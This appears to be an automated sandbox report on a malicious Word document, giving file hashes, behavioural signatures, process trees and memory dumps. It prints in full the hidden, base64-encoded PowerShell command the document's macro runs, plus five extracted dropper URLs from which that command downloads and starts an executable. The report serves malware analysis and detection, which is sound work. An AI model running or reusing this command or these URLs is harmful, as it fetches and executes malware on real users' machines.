Analysis

  • max time kernel
    57s
  • max time network
    38s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 21:43

General

  • Target

    d70c33c0d273337f692c79877dda7bbcc8524be84db94682224bc17c952f2c11.doc

  • Size

    213KB

  • MD5

    1c855cbaaac774e6b43123f39247fe99

  • SHA1

    a4a46f9aa4ed9e3a4797f5b7cb1cbb872928d6c4

  • SHA256

    d70c33c0d273337f692c79877dda7bbcc8524be84db94682224bc17c952f2c11

  • SHA512

    db59a43e36f666c998a832c4465fa0c5d9156b79f232f853ee6a1651ee6d2d68926458f63dcc0a34adb7eb0a832fb569147dcf6dd27452c537db60176bb6ac81

  • SSDEEP

    3072:mf2y/GdyEktGDWLS0HZWD5w8K7Nk9qD7IBUrY9a1tOnz4j6X0oasGc9uQuH:mf2k4itGiL3HJk9qD7b40o9GMLu

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d70c33c0d273337f692c79877dda7bbcc8524be84db94682224bc17c952f2c11.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2760
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3008
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2740

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7FFFCACF.wmf

      Filesize

      444B

      MD5

      5ae0892318bcff523ad0c11c27b519f4

      SHA1

      fd2c42c759e0c0b2740be7288920ad9f45048ac9

      SHA256

      8606bce17503c6e464dbf0a67f55313b19f6d38495fd938d25d0f9a08da9e8c3

      SHA512

      045e60b39a2e170288017e89aea6c158bc618e2597b0188761c1feafc6d4e84d33449eb7174308e818a0fffbb049a69bbac9c97fcb1951e84da15f89621e3f70

    • memory/2740-32-0x0000000002520000-0x0000000002528000-memory.dmp

      Filesize

      32KB

    • memory/2740-31-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

      Filesize

      2.9MB

    • memory/2760-21-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-16-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-12-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-14-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-13-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-17-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-18-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-0-0x000000002F4B1000-0x000000002F4B2000-memory.dmp

      Filesize

      4KB

    • memory/2760-19-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-5-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2760-15-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-25-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-23-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-22-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-2-0x0000000073AAD000-0x0000000073AB8000-memory.dmp

      Filesize

      44KB

    • memory/2760-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2760-35-0x0000000073AAD000-0x0000000073AB8000-memory.dmp

      Filesize

      44KB

    • memory/2760-36-0x0000000005870000-0x0000000005970000-memory.dmp

      Filesize

      1024KB

    • memory/2760-37-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2760-41-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB